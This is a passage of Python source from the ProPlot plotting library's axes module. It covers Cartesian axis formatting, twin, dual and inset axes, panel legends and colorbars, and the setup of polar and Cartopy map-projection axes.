(xticklabeldir, yticklabeldir), (xrotation, yrotation),\n (xscale_kw, yscale_kw), (xlabel_kw, ylabel_kw), (xformatter_kw, yformatter_kw), (xlocator_kw, ylocator_kw), (xminorlocator_kw, yminorlocator_kw),\n ):\n # Axis label properties\n # Redirect user request to the correct *shared* axes, then\n # to the correct *spanning* axis label.\n name = axis.axis_name\n xyname = 'x' if axis is self.xaxis else 'y'\n if label is not None:\n kw = rc.fill({\n 'color': 'axes.edgecolor',\n 'fontsize': 'axes.labelsize',\n 'weight': 'axes.labelweight',\n 'fontfamily': 'font.family',\n })\n if axis.get_label_position() == 'top':\n kw['va'] = 'bottom' # baseline was cramped if no ticklabels present\n if color:\n kw['color'] = color\n kw.update(label_kw)\n self.figure._axis_label_update(axis, text=label, **kw)\n\n # Axis scale and limits. These don't have axis-specific setters.\n # If user specified xlocator or ylocator and scale is log, enforce\n # custom formatter; this generally means we want specific tick labels\n # on a log-scale plot, but log formatter overrides this and only shows powers of 10.\n if scale is not None:\n if hasattr(scale, 'name'): # class was passed\n scale = scale.name\n if scale in ('log','inverse') and formatter is None:\n formatter = 'simple' # WARNING: matplotlib ScalarFormatter fails with logarithmic axes, trims trailing decimals, need my formatter\n getattr(self, f'set_{xyname}scale')(axistools.Scale(scale, **scale_kw))\n if lim is not None:\n getattr(self, f'set_{xyname}lim')(lim)\n if reverse:\n # axis.set_inverted(True) # 3.1+, the below is from source code\n lo, hi = axis.get_view_interval()\n axis.set_view_interval(max(lo, hi), min(lo, hi), ignore=True)\n # Detect if datetime axis\n date = isinstance(axis.converter, mdates.DateConverter) # is this a time axis?\n\n # Fix spines\n kw = rc.fill({\n 'linewidth': 'axes.linewidth',\n 'color': 'axes.edgecolor',\n })\n if color is not None:\n kw['color'] = color\n if isinstance(self, mproj.PolarAxes): # names are 'radius' and 'theta'\n sides = ('inner','polar') if name=='radius' else ('start','end')\n else:\n sides = ('bottom','top') if name=='x' else ('left','right')\n spines = [self.spines[s] for s in sides]\n for spine,side in zip(spines,sides):\n # Line properties\n # Override if we're settings spine bounds\n spineloc = getattr(self, name + 'spine_override', spineloc) # optionally override; necessary for twinx/twiny situation\n if bounds is not None and spineloc not in sides:\n spineloc = sides[0] # by default, should just have spines on edges in this case\n # Eliminate sides\n if spineloc=='neither':\n spine.set_visible(False)\n elif spineloc=='both':\n spine.set_visible(True)\n elif spineloc in sides: # make relevant spine visible\n b = True if side==spineloc else False\n spine.set_visible(b)\n elif spineloc is not None:\n # Special spine location\n # Note special 'spine location' options include 'zero', 'center',\n # and tuple with (units, location) where units can be axes, data, or outward\n if side==sides[0]: # move the left/semabottom spine onto the specified location, with set_position\n spine.set_visible(True)\n spine.set_position(spineloc)\n else:\n spine.set_visible(False)\n # Apply spine bounds\n if bounds is not None and spine.get_visible():\n spine.set_bounds(*bounds)\n spine.update(kw)\n # Get which spines are visible; needed for setting tick locations\n spines = [side for side,spine in zip(sides,spines) if spine.get_visible()]\n\n # Rc settings, grid settings, major and minor settings\n # Override is just a \"new default\", but user can override this\n grid_dict = lambda grid: {\n 'grid_color': grid + '.color',\n 'grid_alpha': grid + '.alpha',\n 'grid_linewidth': grid + '.linewidth',\n 'grid_linestyle': grid + '.linestyle',\n }\n override = getattr(self, 'grid_override', None)\n grid = _default(grid, override)\n gridminor = _default(gridminor, override)\n for which,igrid in zip(('major', 'minor'), (grid,gridminor)):\n # Turn grid on\n if igrid is not None:\n axis.grid(igrid, which=which) # toggle with special global props\n # Grid and tick style\n if which=='major':\n kw_grid = rc.fill(grid_dict('grid'))\n else:\n kw_major = kw_grid\n kw_grid = rc.fill(grid_dict('gridminor'))\n kw_grid.update({key:value for key,value in kw_major.items() if key not in kw_grid})\n # Changed rc settings\n kw = _default(rc.category(name + 'tick.' + which), {})\n kw.pop('visible', None) # invalid setting\n axis.set_tick_params(which=which, **kw_grid, **kw)\n\n # Tick and ticklabel properties\n # * Weird issue seems to cause set_tick_params to reset/forget that the grid\n # is turned on if you access tick.gridOn directly, instead of passing through tick_params.\n # Since gridOn is undocumented feature, don't use it. So calling _format_axes() a second time will remove the lines\n # * Can specify whether the left/right/bottom/top spines get ticks; sides will be \n # group of left/right or top/bottom\n # * Includes option to draw spines but not draw ticks on that spine, e.g.\n # on the left/right edges\n # First tick sides\n if not isinstance(self, mproj.PolarAxes):\n kw = {}\n translate = {None: None, 'both': sides, 'neither': (), 'none': ()}\n if bounds is not None and tickloc not in sides:\n tickloc = sides[0] # override to just one side\n ticklocs = translate.get(tickloc, (tickloc,))\n if ticklocs is not None:\n kw.update({side: (side in ticklocs) for side in sides})\n kw.update({side: False for side in sides if side not in spines}) # override\n # Tick label sides\n # Will override to make sure only appear where ticks are\n ticklabellocs = translate.get(ticklabelloc, (ticklabelloc,))\n if ticklabellocs is not None:\n kw.update({f'label{side}': (side in ticklabellocs) for side in sides})\n kw.update({'label' + side: False for side in sides\n if (side not in spines or (ticklocs is not None and side not in ticklocs))}) # override\n # The axis label side\n if labelloc is None:\n if ticklocs is not None:\n options = [side for side in sides if (side in ticklocs and side in spines)]\n if len(options)==1:\n labelloc = options[0]\n elif labelloc not in sides:\n raise ValueError(f'Got labelloc \"{labelloc}\", valid options are {sides}.')\n # Apply\n axis.set_tick_params(which='both', **kw)\n if labelloc is not None:\n axis.set_label_position(labelloc)\n\n # The tick styles\n # First color and size\n kw = rc.fill({\n 'labelcolor': 'tick.labelcolor', # new props\n 'labelsize': 'tick.labelsize',\n 'color': name + 'tick.color',\n })\n if color:\n kw['color'] = color\n kw['labelcolor'] = color\n # Tick direction and rotation\n if tickdir=='in':\n kw['pad'] = 1 # ticklabels should be much closer\n if ticklabeldir=='in': # put tick labels inside the plot\n tickdir = 'in'\n pad = rc.get(name + 'tick.major.size') + rc.get(name + 'tick.major.pad') + rc.get(name + 'tick.labelsize')\n kw['pad'] = -pad\n if tickdir is not None:\n kw['direction'] = tickdir\n axis.set_tick_params(which='both', **kw)\n\n # Settings that can't be controlled by set_tick_params\n # Also set rotation here, otherwise get weird alignment\n # See discussion: https://stackoverflow.com/q/11264521/4970632\n kw = rc.fill({'fontfamily':'font.family', 'weight':'tick.labelweight'})\n if rotation is not None:\n kw.update({'rotation':rotation})\n if name=='x':\n kw.update({'ha':'right' if rotation>0 else 'left'})\n setattr(self, f'_{name}rotated', True)\n for t in axis.get_ticklabels():\n t.update(kw)\n # Margins\n if margin is not None:\n self.margins(**{name: margin})\n\n # Major and minor locator\n # WARNING: MultipleLocator fails sometimes, notably when doing\n # boxplot. Tick labels moved to left and are incorrect.\n if locator is not None:\n locator = axistools.Locator(locator, **locator_kw)\n axis.set_major_locator(locator)\n if isinstance(locator, mticker.IndexLocator):\n tickminor = False # minor ticks make no sense for 'index' data\n if not tickminor and tickminorlocator is None:\n axis.set_minor_locator(axistools.Locator('null'))\n elif tickminorlocator is not None:\n axis.set_minor_locator(axistools.Locator(tickminorlocator, **minorlocator_kw))\n\n # Major and minor formatter\n fixedformatfix = False\n if formatter is not None or tickrange is not None:\n # Tick range\n if tickrange is not None:\n if formatter not in (None,'auto'):\n warnings.warn('The tickrange feature requires proplot.AutoFormatter formatter. Overriding input formatter.')\n formatter = 'auto'\n formatter_kw = {**formatter_kw} # make a copy\n formatter_kw.setdefault('tickrange', tickrange)\n # Set the formatter\n formatter = axistools.Formatter(formatter, date=date, **formatter_kw)\n axis.set_major_formatter(formatter)\n if isinstance(formatter, mticker.FixedFormatter): # if locator is MultipleLocator, first tick gets cut off!\n fixedformatfix = True\n axis.set_minor_formatter(mticker.NullFormatter())\n\n # Ensure no out-of-bounds ticks! Even set_smart_bounds() fails sometimes.\n # * Using set_bounds also failed, and fancy method overrides did\n # not work, so instead just turn locators into fixed version\n # * Most locators take no arguments in __call__, and some do not\n # have tick_values method, so we just call them.\n if fixticks or fixedformatfix or bounds is not None or axis.get_scale()=='cutoff':\n if bounds is None:\n bounds = getattr(self, f'get_{name}lim')()\n locator = axistools.Locator([x for x in axis.get_major_locator()() if bounds[0] <= x <= bounds[1]])\n axis.set_major_locator(locator)\n locator = axistools.Locator([x for x in axis.get_minor_locator()() if bounds[0] <= x <= bounds[1]])\n axis.set_minor_locator(locator)\n\n # Pass stuff to parent formatter, e.g. title and abc labeling\n if (xlim is not None or ylim is not None) and self._inset_parent:\n self.indicate_inset_zoom()\n super().format_partial(**kwargs)\n\n def dualx(self, offset=0, scale=1, xscale='linear', xlabel=None, **kwargs):\n \"\"\"As with `~CartesianAxes.dualy`, but for the *x*-axis.\n See `~CartesianAxes.dualy`.\"\"\"\n parent = self.get_xscale()\n if parent!='linear':\n warnings.warn(f'Parent axis scale must be linear. Overriding current \"{parent}\" scale.')\n self.set_xscale('linear')\n ax = self.twiny()\n if xlabel is None:\n warnings.warn('Axis label is highly recommended for \"alternate units\" axis. Use the \"xlabel\" keyword argument.')\n xscale = axistools.InvertedScaleFactory(xscale)\n ax.format(xscale=xscale, xlabel=xlabel, **kwargs)\n self._dualx_scale = (offset, scale)\n\n def dualy(self, offset=0, scale=1, yscale='linear', ylabel=None, **kwargs):\n \"\"\"\n Makes a secondary *y*-axis for denoting equivalent *y*\n coordinates in **alternate units**. Returns nothing.\n\n Parameters\n ----------\n scale : float, optional\n The constant multiple applied after scaling data with `transform`.\n Defaults to ``1``.\n For example, if your *y*-axis is meters and you\n want kilometers on the other side, use ``scale=1e-3``.\n offset : float, optional\n The constant offset added after multipyling by `scale`.\n Defaults to ``0``.\n For example, if your *y*-axis is Kelvin and you want degrees\n Celsius on the opposite side, use ``offset=-273.15``.\n yscale : str, optional\n The registered scale name used to transform data to the alternate\n units. Defaults to ``'linear'``.\n For example, if your *y*-axis is wavenumber and you want wavelength on\n the opposite side, use ``yscale='inverse'``. If your-*y* axis\n is height and you want pressure on the opposite side, use\n ``yscale='pressure'`` (and vice versa).\n ylabel : None or str, optional\n The axis label (highly recommended). A warning will be issued if\n this is not supplied.\n **kwargs\n Formats the new axis. Passed to `BaseAxes.format`.\n\n Note\n ----\n The axis scale `yscale` is used to transform units on the left axis,\n linearly spaced, to units on the right axis. This means the right\n 'axis scale' must scale its data with the *inverse* of this transform.\n We make this inverted scale with `~proplot.axistools.InvertedScaleFactory`.\n \"\"\"\n # Notes:\n # For some reason, when scale is applied, it can change the default\n # formatter. For example, a linear scale will change default formatter\n # to original matplotlib version instead of my custom override. Need\n # to apply it explicitly.\n parent = self.get_yscale()\n if parent!='linear':\n warnings.warn(f'Parent axis scale must be linear. Overriding current \"{parent}\" scale.')\n self.set_yscale('linear')\n ax = self.twinx()\n if ylabel is None:\n warnings.warn('Axis label is highly recommended for \"alternate units\" axis. Use the \"ylabel\" keyword argument.')\n yscale = axistools.InvertedScaleFactory(yscale)\n ax.format(yscale=yscale, ylabel=ylabel, **kwargs)\n self._dualy_scale = (offset, scale)\n\n def altx(self, *args, **kwargs):\n \"\"\"Alias (and more intuitive name) for `~CartesianAxes.twiny`.\n The matplotlib `~matplotlib.axes.Axes.twiny` function\n actually generates two *x*-axes with a shared (\"twin\") *y*-axis.\"\"\"\n return self.twiny(*args, **kwargs)\n\n def alty(self, *args, **kwargs):\n \"\"\"Alias (and more intuitive name) for `~CartesianAxes.twinx`.\n The matplotlib `~matplotlib.axes.Axes.twinx` function\n actually generates two *y*-axes with a shared (\"twin\") *x*-axis.\"\"\"\n return self.twinx(*args, **kwargs)\n\n def twinx(self):\n \"\"\"Mimics matplotlib's `~matplotlib.axes.Axes.twinx` and intelligently handles\n axis ticks, gridlines, axis tick labels, axis labels, and axis sharing.\n Returns an `CartesianAxes` instance.\"\"\"\n # Note: Cannot wrap twinx() because then the axes created will be\n # instantiated from the parent class, which doesn't have format method.\n # Instead, use hidden method _make_twin_axes.\n if self._alty_child:\n raise ValueError('No more than two twin axes!')\n if self._alty_parent:\n raise ValueError('This *is* a twin axes!')\n ax = self._make_twin_axes(sharex=self, projection=self.name)\n # Setup\n self.yaxis.tick_left()\n ax.yaxis.tick_right()\n ax.yaxis.set_label_position('right')\n ax.yaxis.set_offset_position('right')\n ax.set_autoscalex_on(self.get_autoscalex_on())\n ax.xaxis.set_visible(False)\n ax.patch.set_visible(False)\n ax.grid(False)\n # Special settings, force spine locations when format called\n self.yspine_override = 'left' # original axis ticks on left\n ax.yspine_override = 'right' # new axis ticks on right\n ax.xspine_override = 'neither'\n ax.grid_override = False\n # Return\n ax._alty_parent = self\n self._alty_child = ax\n return ax\n\n def twiny(self):\n \"\"\"Mimics matplotlib's `~matplotlib.axes.Axes.twiny` and intelligently handles\n axis ticks, gridlines, axis tick labels, axis labels, and axis sharing.\n Returns an `CartesianAxes` instance.\"\"\"\n # Note: Cannot wrap twiny() because we want to use our own CartesianAxes,\n # not the matplotlib Axes. Instead use hidden method _make_twin_axes.\n # See https://github.com/matplotlib/matplotlib/blob/master/lib/matplotlib/axes/_subplots.py\n if self._altx_child:\n raise ValueError('No more than two twin axes!')\n if self._altx_parent:\n raise ValueError('This *is* a twin axes!')\n ax = self._make_twin_axes(sharey=self, projection=self.name)\n # Setup\n self.xaxis.tick_bottom()\n ax.xaxis.tick_top()\n ax.xaxis.set_label_position('top')\n ax.set_autoscaley_on(self.get_autoscaley_on())\n ax.yaxis.set_visible(False)\n ax.patch.set_visible(False)\n ax.grid(False)\n # Special settings, force spine locations when format called\n self.xspine_override = 'bottom' # original axis ticks on bottom\n ax.xspine_override = 'top' # new axis ticks on top\n ax.yspine_override = 'neither'\n ax.grid_override = False\n # Return\n ax._altx_parent = self\n self._altx_child = ax\n return ax\n\n def inset(self, *args, **kwargs):\n \"\"\"Alias for `~CartesianAxes.inset_axes`.\"\"\"\n return self.inset_axes(*args, **kwargs)\n\n def inset_axes(self, bounds, *, transform=None, zorder=5, zoom=True, zoom_kw={}, **kwargs):\n \"\"\"Draws an inset `CartesianAxes` axes. Otherwise, this is a carbon copy\n of the `~matplotlib.axes.Axes.inset_axes` method.\"\"\"\n # Carbon copy, but use my custom axes\n # Defaults\n if transform is None:\n transform = self.transAxes\n label = kwargs.pop('label', 'inset_axes')\n # This puts the rectangle into figure-relative coordinates.\n locator = self._make_inset_locator(bounds, transform)\n bb = locator(None, None)\n ax = maxes.Axes(self.figure, bb.bounds, zorder=zorder, label=label, **kwargs)\n # The following locator lets the axes move if in data coordinates, gets called in ax.apply_aspect()\n ax.set_axes_locator(locator)\n self.add_child_axes(ax)\n self._inset_children.append(ax)\n ax._inset_parent = self\n # Finally add zoom (NOTE: Requires version >=3.0)\n if zoom:\n ax.indicate_inset_zoom(**zoom_kw)\n return ax\n\n def indicate_inset_zoom(self, alpha=None, linewidth=None, color=None, edgecolor=None, **kwargs):\n \"\"\"Inset zoom indicator that is *refreshed* when `xlim` or `ylim`\n is passed to `BaseAxes.format`.\"\"\"\n # Makes more sense to be defined on the inset axes, since parent\n # could have multiple insets\n parent = self._inset_parent\n alpha = alpha or 1.0\n linewidth = linewidth or rc['axes.linewidth']\n edgecolor = color or edgecolor or rc['axes.edgecolor']\n if not parent:\n raise ValueError(f'{self} is not an inset axes.')\n xlim = self.get_xlim()\n ylim = self.get_ylim()\n rect = (xlim[0], ylim[0], xlim[1] - xlim[0], ylim[1] - ylim[0])\n kwargs.update({'linewidth':linewidth, 'edgecolor':edgecolor, 'alpha':alpha})\n rectpatch, connects = parent.indicate_inset(rect, self, **kwargs)\n # Adopt properties from old one\n if self._zoom:\n rectpatch_old, connects_old = self._zoom\n rectpatch.update_from(rectpatch_old)\n rectpatch_old.set_visible(False)\n for line,line_old in zip(connects,connects_old):\n # Actually want to *preserve* whether line is visible! This\n # is automatically determined!\n visible = line.get_visible()\n line.update_from(line_old)\n line.set_visible(visible)\n line_old.set_visible(False)\n # By default linewidth is only applied to box\n else:\n for line in connects:\n line.set_linewidth(linewidth)\n line.set_color(edgecolor)\n line.set_alpha(alpha)\n self._zoom = (rectpatch, connects)\n return (rectpatch, connects)\n\n def _make_inset_locator(self, bounds, trans):\n \"\"\"Helper function, copied from private matplotlib version.\"\"\"\n def inset_locator(ax, renderer):\n bbox = mtransforms.Bbox.from_bounds(*bounds)\n bb = mtransforms.TransformedBbox(bbox, trans)\n tr = self.figure.transFigure.inverted()\n bb = mtransforms.TransformedBbox(bb, tr)\n return bb\n return inset_locator\n\nclass EmptyPanel(object):\n \"\"\"\n Replaces `PanelAxes` when the axes or figure panel does not exist.\n This gives a nicer error message than if we had just ``None``, and\n permits indexing to mimick the behavior of a singleton\n `~proplot.subplots.axes_list`.\n\n Note\n ----\n `__getattr__` is invoked only when `__getattribute__` fails, i.e.\n when the user requests anything that isn't a builtin method.\n \"\"\"\n def __bool__(self):\n \"\"\"Returns False. Provides shorthand way to check whether panel\n attribute is specifically EmptyPanel.\"\"\"\n return False # it's empty, so this is 'falsey'\n\n def __len__(self):\n \"\"\"Returns 1. This allows us to treat `EmptyPanel` like an\n `~proplot.subplots.axes_list` of stacked panels.\"\"\"\n return 1\n\n def __getitem__(self, key):\n \"\"\"Returns itself. This allows us to treat `EmptyPanel` like an\n `~proplot.subplots.axes_list` of stacked panels.\"\"\"\n # See: https://stackoverflow.com/a/26611639/4970632\n if key>0:\n raise IndexError\n return self\n\n def __getattr__(self, attr, *args):\n \"\"\"Raises AttributeError.\"\"\"\n raise AttributeError('Panel does not exist.')\n\nclass PanelAxes(CartesianAxes):\n \"\"\"`~proplot.axes.CartesianAxes` subclass, adds `~PanelAxes.legend` and\n `~PanelAxes.colorbar` methods that \"fill\" the entire axes.\"\"\"\n # Notes:\n # See `this post `_\n # and `this example `_.\n name = 'panel'\n \"\"\"The registered projection name.\"\"\"\n def __init__(self, *args,\n side=None, share=False, flush=False,\n visible=True, parent=None, **kwargs):\n \"\"\"\n Parameters\n ----------\n side : {'left', 'right', 'bottom', 'top'}\n The side on which the panel is drawn.\n share : bool, optional\n Whether to share panel *x* and *y* axes with \"parent\" axes.\n Irrelevant for figure panels, and defaults to ``False``.\n flush : bool, optional\n Whether panel should always be \"flush\" against its parent\n subplot or not.\n visible : bool, optional\n Whether to make the axes visible or not.\n parent : None or `~matplotlib.axes.Axes`\n The \"parent\" of the panel. Not relevant for \"outer panel\"\n axes.\n *args, **kwargs\n Passed to the `CartesianAxes` initializer.\n\n See also\n --------\n `~proplot.subplots.subplots`,\n `~proplot.subplots.Figure.add_subplot_and_panels`\n \"\"\"\n # Misc props\n # WARNING: Need to set flush property before calling super init!\n self._share = share\n self._side = side\n self._flush = flush # should panel always be flush against subplot?\n self._parent = parent # used when declaring parent\n # Initialize\n super().__init__(*args, **kwargs)\n if side not in ('left', 'right', 'bottom', 'top'):\n raise ValueError(f'Invalid panel side \"{side}\".')\n if not visible:\n self.set_visible(False)\n\n def legend(self, *args, fill=True, **kwargs):\n \"\"\"\n \"Fills the panel\" with a legend by adding a centered legend and\n rendering the axes spines and patch invisible. To draw a normal inset\n legend, pass ``fill=False``.\n\n See `~matplotlib.axes.Axes.legend` and `~proplot.wrappers.legend_wrapper`\n for details.\n \"\"\"\n # Regular old inset legend\n if not fill:\n return super().legend(*args, **kwargs)\n # Hide content\n self._filled = True\n for s in self.spines.values():\n s.set_visible(False)\n self.xaxis.set_visible(False)\n self.yaxis.set_visible(False)\n self.patch.set_alpha(0)\n # Allocate invisible axes for drawing legend; by default try to\n # make handles and stuff flush against the axes edge\n kwdefault = {'borderaxespad': 0}\n if not kwargs.get('frameon', rc['legend.frameon']):\n kwdefault['borderpad'] = 0\n kwdefault.update(kwargs)\n kwargs = kwdefault\n # Set location by panel side\n # WARNING: center left and center right also turn off horizontal\n # center alignment, so not an option.\n if 'loc' in kwargs:\n warnings.warn(f'Overriding user input legend property \"loc\".')\n kwargs['loc'] = {'bottom':'upper center', 'right':'center left',\n 'left':'center right', 'top':'lower center'}[self._side]\n # For filled axes, call wrapper method directly\n return wrappers.legend_wrapper(self, *args, **kwargs)\n\n def colorbar(self, *args, fill=True, length=1, **kwargs):\n \"\"\"\n \"Fills the panel\" with a colorbar by calling `~matplotlib.figure.Figure.colorbar`\n with ``cax=self``. To change the fractional extent of the colorbar that\n is filled, pass ``length=x``. To draw a magic inset colorbar with\n `BaseAxes.colorbar`, pass ``fill=False``.\n\n See `~matplotlib.figure.Figure.colorbar` and `~proplot.wrappers.colorbar_wrapper`\n for details.\n \"\"\"\n # Inset 'legend-style' colorbar\n if not fill:\n return super().colorbar(*args, **kwargs)\n # Hide content\n self._filled = True\n for s in self.spines.values():\n s.set_visible(False)\n self.xaxis.set_visible(False)\n self.yaxis.set_visible(False)\n self.patch.set_alpha(0)\n # Draw colorbar with arbitrary length relative to full length of panel\n fig = self.figure\n side = self._side\n subspec = self.get_subplotspec()\n if side=='top': # this is ugly, and hard to implement with title, super title, and stuff\n raise NotImplementedError('Filling top panels with colorbars is not allowed. Use a left, bottom, or right panel instead.')\n if length!=1:\n if side in ['bottom']:\n gridspec = FlexibleGridSpecFromSubplotSpec(\n nrows=1, ncols=3, wspace=0, #hspace=space,\n subplot_spec=subspec,\n width_ratios=((1-length)/2, length, (1-length)/2),\n )\n subspec = gridspec[1]\n elif side in ['left','right']:\n gridspec = FlexibleGridSpecFromSubplotSpec(\n nrows=3, ncols=1, hspace=0, #wspace=space,\n subplot_spec=subspec,\n height_ratios=((1-length)/2, length, (1-length)/2),\n )\n subspec = gridspec[1]\n # Get properties\n ax = fig.add_subplot(subspec, projection=None)\n if side in ('bottom','top'):\n outside, inside = 'bottom', 'top'\n if side=='top':\n outside, inside = inside, outside\n ticklocation = outside\n orientation = 'horizontal'\n elif side in ('left','right'):\n outside, inside = 'left', 'right'\n if side=='right':\n outside, inside = inside, outside\n ticklocation = outside\n orientation = 'vertical'\n # For filled axes, call wrapper method directly\n self._colorbar_child = ax # these are so far unused\n ax._colorbar_parent = self\n kwargs.update({'orientation':orientation, 'ticklocation':ticklocation})\n return wrappers.colorbar_wrapper(ax, *args, **kwargs)\n\nclass ProjectionAxes(BaseAxes):\n \"\"\"Intermediate class, shared by `ProjectionAxesCartopy` and\n `ProjectionAxesBasemap`. Disables methods that are inappropriate for map\n projections and adds `ProjectionAxes.format_partial`, so that arguments\n passed to `~BaseAxes.format` are identical for `ProjectionAxesCartopy`\n and `ProjectionAxesBasemap`.\"\"\"\n def __init__(self, *args, **kwargs): # just to disable docstring inheritence\n \"\"\"\n See also\n --------\n `~proplot.subplots.subplots`, `ProjectionAxesCartopy`, `ProjectionAxesBasemap`\n \"\"\"\n super().__init__(*args, **kwargs)\n self._is_map = True # needed by wrappers, which can't import this file\n\n @wrappers._expand_methods_list\n def __getattribute__(self, attr, *args):\n \"\"\"Disables the methods `_map_disabled_methods`, which are inappropriate\n for map projections.\"\"\"\n # See: https://stackoverflow.com/a/23126260/4970632\n if attr in wrappers._map_disabled_methods:\n raise RuntimeError('Invalid plotting function {} for map projection axes.'.format(attr))\n return super().__getattribute__(attr, *args)\n\n # Note this *actually* just returns some standardized arguments\n # to the ProjectionAxesCartopy.format_partial and ProjectionAxesBasemap.format_partial methods; they\n # both jump over this intermediate class and call BaseAxes.format_partial\n def format_partial(self, labels=None, latlabels=None, lonlabels=None,\n latmax=None, lonlim=None, latlim=None, grid=None,\n lonlocator=None, lonlines=None, lonticks=None,\n latlocator=None, latlines=None, latticks=None,\n **kwargs,\n ):\n \"\"\"\n Called by `BaseAxes.format`, calls `BaseAxes.format_partial` and\n formats the meridian and parallel labels, longitude and latitude map\n limits, geographic features, and more.\n\n Parameters\n ----------\n labels : None or bool, optional\n Whether to draw longitude and latitude labels. Default is\n ``rc['geogrid.labels']``.\n lonlabels, latlabels\n Whether to label longitudes and latitudes, and on which sides\n of the map. There are four different options:\n\n 1. Boolean ``True``. Indicates left side for latitudes,\n bottom for longitudes.\n 2. A string, e.g. ``'lr'`` or ``'bt'``.\n 3. A boolean ``(left,right)`` tuple for longitudes,\n ``(bottom,top)`` for latitudes.\n 4. A boolean ``(n1,n2,n3,n4)`` tuple as in the\n `~mpl_toolkits.basemap.Basemap.drawmeridians` and\n `~mpl_toolkits.basemap.Basemap.drawparallels` methods.\n The boolean values indicate whether to label gridlines intersecting\n the left, right, top, and bottom sides, respectively.\n\n latmax : None or float, optional\n Meridian gridlines are cut off poleward of this latitude. Defaults\n to ``rc['geogrid.latmax']``.\n lonlim, latlim : None or (float, float), optional\n Longitude and latitude limits of projection, applied\n with `~cartopy.mpl.geoaxes.GeoAxes.set_extent`.\n grid : None or bool, optional\n Whether to add meridian and parallel gridlines.\n lonlocator, latlocator : None or int or list of float, optional\n If integer, indicates the *number* of evenly spaced meridian and\n parallel gridlines to draw. Otherwise, must be a list of floats\n indicating specific meridian and parallel gridlines to draw.\n lonlines, latlines, lonticks, latticks\n Aliases for `lonlocator`, `latlocator`.\n patch_kw : dict-like, optional\n Keyword arguments used to update the background patch object. You\n can use this, for example, to set background hatching with\n ``patch_kw={'hatch':'xxx'}``.\n **kwargs\n Passed to `BaseAxes.format_partial`.\n \"\"\"\n # Parse alternative keyword args\n # TODO: For now, cannot update existing gridline properties, can only\n # redraw them. So, always get uncached properties\n # NOTE: If labels keyword args were passed, automatically turn grid on\n grid = _default(grid, rc.get('geogrid'))\n labels = _default(labels, rc.get('geogrid.labels')) or bool(lonlabels or latlabels)\n lonlocator = _default(lonlines, lonticks, lonlocator, rc.get('geogrid.lonstep'))\n latlocator = _default(latlines, latticks, latlocator, rc.get('geogrid.latstep'))\n\n # Interptet latitude\n latmax = _default(latmax, rc.get('geogrid.latmax'))\n if isinstance(self, ProjectionAxesCartopy):\n lon_0 = self.projection.proj4_params.get('lon_0', 0)\n else:\n lon_0 = self.m.lonmin + 180 # central longitude\n if lonlocator is not None:\n if not np.iterable(lonlocator):\n lonlocator = utils.arange(lon_0 - 180, lon_0 + 180, lonlocator)\n lonlocator = [*lonlocator]\n if latlocator is not None:\n if not np.iterable(latlocator):\n latlocator = utils.arange(-latmax, latmax, latlocator)\n latlocator = [*latlocator]\n\n # Length-4 boolean arrays of whether and where to goggle labels\n if lonlabels or latlabels:\n labels = True # toggle them at all?\n ilabels = [lonlabels, latlabels]\n for i,(mode,jlabels) in enumerate(zip(('x', 'y'), tuple(ilabels))):\n if jlabels is False:\n return [0]*4\n if jlabels is None:\n jlabels = 1\n # jlabels = False\n # jlabels = True # will label lons on bottom, lats on left\n if isinstance(jlabels, str):\n string = jlabels\n jlabels = [0]*4\n for idx,char in zip([0,1,2,3],'lrbt'):\n if char in string:\n jlabels[idx] = 1\n if isinstance(jlabels, Number): # e.g. *boolean*\n jlabels = np.atleast_1d(jlabels)\n if len(jlabels)==1:\n jlabels = [*jlabels, 0] # default is to label bottom/left\n if len(jlabels)==2:\n if mode=='x':\n jlabels = [0, 0, *jlabels]\n elif mode=='y':\n jlabels = [*jlabels, 0, 0]\n elif len(jlabels)!=4:\n raise ValueError(f'Invalid {mode} labels: {jlabels}.')\n ilabels[i] = jlabels\n lonlabels, latlabels = ilabels\n return grid, latmax, lonlim, latlim, lonlocator, latlocator, labels, lonlabels, latlabels, kwargs\n\nclass PolarAxes(CartesianAxes, mproj.PolarAxes):\n \"\"\"Intermediate class, mixes `CartesianAxes` with\n `~matplotlib.projections.polar.PolarAxes`.\"\"\"\n name = 'polar2'\n \"\"\"The registered projection name.\"\"\"\n def __init__(self, *args, **kwargs):\n \"\"\"\n See also\n --------\n `~proplot.subplots.subplots`\n \"\"\"\n super().__init__(*args, **kwargs)\n\n def format_partial(self, *args, ytickloc=None, **kwargs):\n \"\"\"\n Called by `BaseAxes.format`, calls `BaseAxes.format_partial` and\n formats the tick locations, tick labels, grid lines, and more.\n\n The keyword args are idential to those in `CartesianAxes.format_partial`,\n except the \"theta\" and \"radius\" axis properties respectively\n correspond to ``x`` and ``y`` keyword arguments.\n\n To change the azimuthal position of radius labels, use ``ytickloc``.\n For everything else, see `CartesianAxes.format_partial`.\n \"\"\"\n # Extra stuff\n if ytickloc is not None:\n self.set_rlabel_position(ytickloc)\n # Call parent\n super().format_partial(*args, **kwargs)\n\n# Cartopy takes advantage of documented feature where any class with method\n# named _as_mpl_axes can be passed as 'projection' object.\n# Feature documented here: https://matplotlib.org/devel/add_new_projection.html\n# class ProjectionAxesCartopy(ProjectionAxes, GeoAxes):\nclass ProjectionAxesCartopy(ProjectionAxes, GeoAxes):\n \"\"\"Axes subclass for plotting `cartopy `__\n projections. Initializes the `cartopy.crs.Projection` instance. Also\n allows for *partial* coverage of azimuthal projections by zooming into\n the full projection, then drawing a circle boundary around some latitude\n away from the center (this is surprisingly difficult to do).\"\"\"\n name = 'cartopy'\n \"\"\"The registered projection name.\"\"\"\n _n_bounds = 100 # number of points for drawing circle map boundary\n _proj_circles = ('laea', 'aeqd', 'stere') # WARNING: SouthPolarStereo still has name 'stere'\n def __init__(self, *args, map_projection=None, centerlat=90, boundinglat=0, **kwargs):\n \"\"\"\n Parameters\n ----------\n map_projection : `~mpl_toolkits.basemap.Basemap`\n The `~mpl_toolkits.basemap.Basemap` instance.\n centerlat : {90, -90}, optional\n For polar projections, the center latitude of the circle.\n boundinglat : float, optional\n For polar projections, the edge latitude of the circle.\n *args, **kwargs\n Passed to `BaseAxes.__init__`.\n\n See also\n --------\n `~proplot.proj`, `~proplot.subplots.subplots`\n \"\"\"\n # Dependencies\n import cartopy.crs as ccrs # verify package is available\n\n # GeoAxes initialization steps are run manually\n # If _hold is set False or None, cartopy will call cla() on axes before\n # plotting stuff, which will wipe out row and column labels even though\n # they appear to stick around; maybe the artist persists but is no longer\n # associated with the axes. Does not matter whether attribute is hidden.\n # self._hold = None # do not do this\n if not isinstance(map_projection, ccrs.Projection):\n raise ValueError('You must initialize ProjectionAxesCartopy with map_projection=.')\n self._hasrecurred = False # use this so we can override plotting methods\n self._cartopy_gl = None # gridliner\n self.projection = map_projection # 